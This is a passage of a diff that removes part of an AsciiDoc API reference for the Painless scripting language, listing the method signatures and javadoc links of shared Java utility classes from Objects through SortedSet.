-* {java11-javadoc}/java.base/java/util/NoSuchElementException.html#<init>(java.lang.String)[NoSuchElementException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Objects]]
-==== Objects
-* static int {java11-javadoc}/java.base/java/util/Objects.html#compare(java.lang.Object,java.lang.Object,java.util.Comparator)[compare](def, def, Comparator)
-* static boolean {java11-javadoc}/java.base/java/util/Objects.html#deepEquals(java.lang.Object,java.lang.Object)[deepEquals](Object, Object)
-* static boolean {java11-javadoc}/java.base/java/util/Objects.html#equals(java.lang.Object,java.lang.Object)[equals](Object, Object)
-* static int {java11-javadoc}/java.base/java/util/Objects.html#hash(java.lang.Object%5B%5D)[hash](Object[])
-* static int {java11-javadoc}/java.base/java/util/Objects.html#hashCode(java.lang.Object)[hashCode](Object)
-* static boolean {java11-javadoc}/java.base/java/util/Objects.html#isNull(java.lang.Object)[isNull](Object)
-* static boolean {java11-javadoc}/java.base/java/util/Objects.html#nonNull(java.lang.Object)[nonNull](Object)
-* static def {java11-javadoc}/java.base/java/util/Objects.html#requireNonNull(java.lang.Object)[requireNonNull](def)
-* static def {java11-javadoc}/java.base/java/util/Objects.html#requireNonNull(java.lang.Object,java.lang.String)[requireNonNull](def, null)
-* static null {java11-javadoc}/java.base/java/util/Objects.html#toString(java.lang.Object)[toString](Object)
-* static null {java11-javadoc}/java.base/java/util/Objects.html#toString(java.lang.Object,java.lang.String)[toString](Object, null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Observable]]
-==== Observable
-* {java11-javadoc}/java.base/java/util/Observable.html#<init>()[Observable]()
-* void {java11-javadoc}/java.base/java/util/Observable.html#addObserver(java.util.Observer)[addObserver](Observer)
-* int {java11-javadoc}/java.base/java/util/Observable.html#countObservers()[countObservers]()
-* void {java11-javadoc}/java.base/java/util/Observable.html#deleteObserver(java.util.Observer)[deleteObserver](Observer)
-* void {java11-javadoc}/java.base/java/util/Observable.html#deleteObservers()[deleteObservers]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/util/Observable.html#hasChanged()[hasChanged]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/Observable.html#notifyObservers()[notifyObservers]()
-* void {java11-javadoc}/java.base/java/util/Observable.html#notifyObservers(java.lang.Object)[notifyObservers](Object)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Observer]]
-==== Observer
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* void {java11-javadoc}/java.base/java/util/Observer.html#update(java.util.Observable,java.lang.Object)[update](Observable, Object)
-
-
-[[painless-api-reference-shared-Optional]]
-==== Optional
-* static Optional {java11-javadoc}/java.base/java/util/Optional.html#empty()[empty]()
-* static Optional {java11-javadoc}/java.base/java/util/Optional.html#of(java.lang.Object)[of](def)
-* static Optional {java11-javadoc}/java.base/java/util/Optional.html#ofNullable(java.lang.Object)[ofNullable](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* Optional {java11-javadoc}/java.base/java/util/Optional.html#filter(java.util.function.Predicate)[filter](Predicate)
-* Optional {java11-javadoc}/java.base/java/util/Optional.html#flatMap(java.util.function.Function)[flatMap](Function)
-* def {java11-javadoc}/java.base/java/util/Optional.html#get()[get]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/Optional.html#ifPresent(java.util.function.Consumer)[ifPresent](Consumer)
-* boolean {java11-javadoc}/java.base/java/util/Optional.html#isPresent()[isPresent]()
-* Optional {java11-javadoc}/java.base/java/util/Optional.html#map(java.util.function.Function)[map](Function)
-* def {java11-javadoc}/java.base/java/util/Optional.html#orElse(java.lang.Object)[orElse](def)
-* def {java11-javadoc}/java.base/java/util/Optional.html#orElseGet(java.util.function.Supplier)[orElseGet](Supplier)
-* def {java11-javadoc}/java.base/java/util/Optional.html#orElseThrow(java.util.function.Supplier)[orElseThrow](Supplier)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-OptionalDouble]]
-==== OptionalDouble
-* static OptionalDouble {java11-javadoc}/java.base/java/util/OptionalDouble.html#empty()[empty]()
-* static OptionalDouble {java11-javadoc}/java.base/java/util/OptionalDouble.html#of(double)[of](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* double {java11-javadoc}/java.base/java/util/OptionalDouble.html#getAsDouble()[getAsDouble]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/OptionalDouble.html#ifPresent(java.util.function.DoubleConsumer)[ifPresent](DoubleConsumer)
-* boolean {java11-javadoc}/java.base/java/util/OptionalDouble.html#isPresent()[isPresent]()
-* double {java11-javadoc}/java.base/java/util/OptionalDouble.html#orElse(double)[orElse](double)
-* double {java11-javadoc}/java.base/java/util/OptionalDouble.html#orElseGet(java.util.function.DoubleSupplier)[orElseGet](DoubleSupplier)
-* double {java11-javadoc}/java.base/java/util/OptionalDouble.html#orElseThrow(java.util.function.Supplier)[orElseThrow](Supplier)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-OptionalInt]]
-==== OptionalInt
-* static OptionalInt {java11-javadoc}/java.base/java/util/OptionalInt.html#empty()[empty]()
-* static OptionalInt {java11-javadoc}/java.base/java/util/OptionalInt.html#of(int)[of](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/OptionalInt.html#getAsInt()[getAsInt]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/OptionalInt.html#ifPresent(java.util.function.IntConsumer)[ifPresent](IntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/OptionalInt.html#isPresent()[isPresent]()
-* int {java11-javadoc}/java.base/java/util/OptionalInt.html#orElse(int)[orElse](int)
-* int {java11-javadoc}/java.base/java/util/OptionalInt.html#orElseGet(java.util.function.IntSupplier)[orElseGet](IntSupplier)
-* int {java11-javadoc}/java.base/java/util/OptionalInt.html#orElseThrow(java.util.function.Supplier)[orElseThrow](Supplier)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-OptionalLong]]
-==== OptionalLong
-* static OptionalLong {java11-javadoc}/java.base/java/util/OptionalLong.html#empty()[empty]()
-* static OptionalLong {java11-javadoc}/java.base/java/util/OptionalLong.html#of(long)[of](long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/OptionalLong.html#getAsLong()[getAsLong]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* void {java11-javadoc}/java.base/java/util/OptionalLong.html#ifPresent(java.util.function.LongConsumer)[ifPresent](LongConsumer)
-* boolean {java11-javadoc}/java.base/java/util/OptionalLong.html#isPresent()[isPresent]()
-* long {java11-javadoc}/java.base/java/util/OptionalLong.html#orElse(long)[orElse](long)
-* long {java11-javadoc}/java.base/java/util/OptionalLong.html#orElseGet(java.util.function.LongSupplier)[orElseGet](LongSupplier)
-* long {java11-javadoc}/java.base/java/util/OptionalLong.html#orElseThrow(java.util.function.Supplier)[orElseThrow](Supplier)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-PrimitiveIterator]]
-==== PrimitiveIterator
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/PrimitiveIterator.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Iterator.html#next()[next]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-PrimitiveIterator-OfDouble]]
-==== PrimitiveIterator.OfDouble
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/PrimitiveIterator.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Double {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfDouble.html#next()[next]()
-* double {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfDouble.html#nextDouble()[nextDouble]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-PrimitiveIterator-OfInt]]
-==== PrimitiveIterator.OfInt
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/PrimitiveIterator.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Integer {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfInt.html#next()[next]()
-* int {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfInt.html#nextInt()[nextInt]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-PrimitiveIterator-OfLong]]
-==== PrimitiveIterator.OfLong
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/util/PrimitiveIterator.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* boolean {java11-javadoc}/java.base/java/util/Iterator.html#hasNext()[hasNext]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Long {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfLong.html#next()[next]()
-* long {java11-javadoc}/java.base/java/util/PrimitiveIterator$OfLong.html#nextLong()[nextLong]()
-* void {java11-javadoc}/java.base/java/util/Iterator.html#remove()[remove]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-PriorityQueue]]
-==== PriorityQueue
-* {java11-javadoc}/java.base/java/util/PriorityQueue.html#<init>()[PriorityQueue]()
-* {java11-javadoc}/java.base/java/util/PriorityQueue.html#<init>(java.util.Comparator)[PriorityQueue](Comparator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Queue]]
-==== Queue
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Queue.html#element()[element]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Queue.html#offer(java.lang.Object)[offer](def)
-* def {java11-javadoc}/java.base/java/util/Queue.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#poll()[poll]()
-* def {java11-javadoc}/java.base/java/util/Queue.html#remove()[remove]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Random]]
-==== Random
-* {java11-javadoc}/java.base/java/util/Random.html#<init>()[Random]()
-* {java11-javadoc}/java.base/java/util/Random.html#<init>(long)[Random](long)
-* DoubleStream {java11-javadoc}/java.base/java/util/Random.html#doubles(long)[doubles](long)
-* DoubleStream {java11-javadoc}/java.base/java/util/Random.html#doubles(long,double,double)[doubles](long, double, double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* IntStream {java11-javadoc}/java.base/java/util/Random.html#ints(long)[ints](long)
-* IntStream {java11-javadoc}/java.base/java/util/Random.html#ints(long,int,int)[ints](long, int, int)
-* LongStream {java11-javadoc}/java.base/java/util/Random.html#longs(long)[longs](long)
-* LongStream {java11-javadoc}/java.base/java/util/Random.html#longs(long,long,long)[longs](long, long, long)
-* boolean {java11-javadoc}/java.base/java/util/Random.html#nextBoolean()[nextBoolean]()
-* void {java11-javadoc}/java.base/java/util/Random.html#nextBytes(byte%5B%5D)[nextBytes](byte[])
-* double {java11-javadoc}/java.base/java/util/Random.html#nextDouble()[nextDouble]()
-* float {java11-javadoc}/java.base/java/util/Random.html#nextFloat()[nextFloat]()
-* double {java11-javadoc}/java.base/java/util/Random.html#nextGaussian()[nextGaussian]()
-* int {java11-javadoc}/java.base/java/util/Random.html#nextInt()[nextInt]()
-* int {java11-javadoc}/java.base/java/util/Random.html#nextInt(int)[nextInt](int)
-* long {java11-javadoc}/java.base/java/util/Random.html#nextLong()[nextLong]()
-* void {java11-javadoc}/java.base/java/util/Random.html#setSeed(long)[setSeed](long)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-RandomAccess]]
-==== RandomAccess
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Set]]
-==== Set
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-SimpleTimeZone]]
-==== SimpleTimeZone
-* static int {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#STANDARD_TIME[STANDARD_TIME]
-* static int {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#UTC_TIME[UTC_TIME]
-* static int {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#WALL_TIME[WALL_TIME]
-* {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#<init>(int,java.lang.String,int,int,int,int,int,int,int,int)[SimpleTimeZone](int, null, int, int, int, int, int, int, int, int)
-* {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#<init>(int,java.lang.String,int,int,int,int,int,int,int,int,int)[SimpleTimeZone](int, null, int, int, int, int, int, int, int, int, int)
-* {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#<init>(int,java.lang.String,int,int,int,int,int,int,int,int,int,int,int)[SimpleTimeZone](int, null, int, int, int, int, int, int, int, int, int, int, int)
-* {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#<init>(int,java.lang.String)[SimpleTimeZone](int, null)
-* def {java11-javadoc}/java.base/java/util/TimeZone.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#getDSTSavings()[getDSTSavings]()
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName()[getDisplayName]()
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(boolean,int)[getDisplayName](boolean, int)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(boolean,int,java.util.Locale)[getDisplayName](boolean, int, Locale)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getID()[getID]()
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getOffset(long)[getOffset](long)
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getOffset(int,int,int,int,int,int)[getOffset](int, int, int, int, int, int)
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getRawOffset()[getRawOffset]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#hasSameRules(java.util.TimeZone)[hasSameRules](TimeZone)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#inDaylightTime(java.util.Date)[inDaylightTime](Date)
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#observesDaylightTime()[observesDaylightTime]()
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setDSTSavings(int)[setDSTSavings](int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setEndRule(int,int,int)[setEndRule](int, int, int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setEndRule(int,int,int,int)[setEndRule](int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setEndRule(int,int,int,int,boolean)[setEndRule](int, int, int, int, boolean)
-* void {java11-javadoc}/java.base/java/util/TimeZone.html#setRawOffset(int)[setRawOffset](int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setStartRule(int,int,int)[setStartRule](int, int, int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setStartRule(int,int,int,int)[setStartRule](int, int, int, int)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setStartRule(int,int,int,int,boolean)[setStartRule](int, int, int, int, boolean)
-* void {java11-javadoc}/java.base/java/util/SimpleTimeZone.html#setStartYear(int)[setStartYear](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* ZoneId {java11-javadoc}/java.base/java/util/TimeZone.html#toZoneId()[toZoneId]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#useDaylightTime()[useDaylightTime]()
-
-
-[[painless-api-reference-shared-SortedMap]]
-==== SortedMap
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* Comparator {java11-javadoc}/java.base/java/util/SortedMap.html#comparator()[comparator]()
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#firstKey()[firstKey]()
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#headMap(java.lang.Object)[headMap](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#lastKey()[lastKey]()
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#subMap(java.lang.Object,java.lang.Object)[subMap](def, def)
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#tailMap(java.lang.Object)[tailMap](def)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-SortedSet]]
-==== SortedSet
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* List collect(Function)
-* def collect(Collection, Function)
-* Comparator {java11-javadoc}/java.base/java/util/SortedSet.html#comparator()[comparator]()
